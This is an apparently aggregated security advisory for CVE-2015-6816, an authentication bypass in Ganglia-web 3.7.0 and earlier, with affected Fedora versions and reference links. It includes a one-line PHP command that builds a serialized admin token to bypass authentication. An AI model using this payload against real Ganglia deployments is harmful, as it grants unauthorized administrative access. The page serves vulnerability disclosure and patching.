CVE-2015-6816
First published: Mon Sep 07 2015(Updated: )
A vulnerability of auth bypassing was found in Ganglia-web. It's easy to bypass auth by using boolean serialization like this: $ php -r "echo urlencode(serialize(array('user'=>'admin','group'=>'admin', 'token'=>true)));" Vulnerable code: <a href="https://github.com/ganglia/ganglia-web/blob/4e98ea69e0e18b388cdc73809ce54843a16ff87b/lib/GangliaAuth.php#L34-L46">https://github.com/ganglia/ganglia-web/blob/4e98ea69e0e18b388cdc73809ce54843a16ff87b/lib/GangliaAuth.php#L34-L46</a> Upstream report: <a href="https://github.com/ganglia/ganglia-web/issues/267">https://github.com/ganglia/ganglia-web/issues/267</a> CVE assignment: <a href="http://seclists.org/oss-sec/2015/q3/502">http://seclists.org/oss-sec/2015/q3/502</a>
Credit: cve@mitre.org
| Affected Software | Affected Version | How to fix |
|---|---|---|
| Fedoraproject Fedora | =21 | |
| Fedoraproject Fedora | =22 | |
| Fedoraproject Fedora | =23 | |
| Ganglia Ganglia-web | <=3.7.0 |
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Reference Links
- https://github.com/ganglia/ganglia-web/blob/4e98ea69e0e18b388cdc73809ce54843a16ff87b/lib/GangliaAuth.php#L34-L46
- https://github.com/ganglia/ganglia-web/issues/267
- http://seclists.org/oss-sec/2015/q3/502
- https://bugzilla.redhat.com/show_bug.cgi/show_bug.cgi?id=1260563
- https://bugzilla.redhat.com/show_bug.cgi/show_bug.cgi?id=1260564
- https://bugzilla.redhat.com/show_bug.cgi?id=1260562
- http://lists.fedoraproject.org/pipermail/package-announce/2015-November/170362.html
- http://lists.fedoraproject.org/pipermail/package-announce/2015-October/169641.html
- http://lists.fedoraproject.org/pipermail/package-announce/2015-October/169788.html
- http://www.openwall.com/lists/oss-security/2015/09/05/6
- http://www.securityfocus.com/bid/92146
- https://www.freshports.org/sysutils/ganglia-webfrontend/
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